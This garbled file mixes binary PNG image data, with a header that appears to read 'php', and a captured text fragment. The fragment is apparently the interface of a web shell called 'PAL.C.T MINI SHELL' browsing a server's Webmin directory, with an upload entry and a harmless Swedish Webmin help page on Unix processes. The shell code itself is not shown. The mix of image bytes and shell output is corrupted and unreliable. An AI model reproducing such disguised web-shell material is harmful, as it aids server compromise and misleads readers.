‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/proc/help/
upload
files >> //usr/libexec/webmin/proc/help/intro.sv.html

<header>Unix-processer</header>

En process är enkelt uttryckt ett program som körs på systemet. Webbrowsern,
fönsterhanteraren, terminalfönstret och X-servern är processer som man kan
påverka direkt. Andra processer kör i bakgrunden, exempelvis webservrar
och andra systemprogram. Varje gång man skriver in ett kommando, t ex
<tt>ls</tt> ellr <tt>pwd</tt>, skapas en process (fast dessa processer är
väldigt kortlivade).

<p>Varje process har ett unikt ID som kallas process-ID eller PID. Processer
som kör samtidigt har olika ID, men med tiden återanvänds PID-nummer.

<p>Bortsett från initieringsprocessen (vanligen <tt>init</tt>) har varje
process en föräldraprocess som skapade den. Om man t ex kör <tt>vi</tt>
från skalprompten är föräldraprocessen till <tt>vi</tt> skalet. En process
kan ha ett obegränsat antal underprocesser men endast en förälder.

<p>Varje process körs med någon användares och grupps rättigheter, som
gäller då processen försöker komma åt filer och kataloger. Användare och
processer får bara slå ihjäl processer som de själva äger, utom <tt>root</tt>,
som får slå ihjäl allt.

<hr>

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚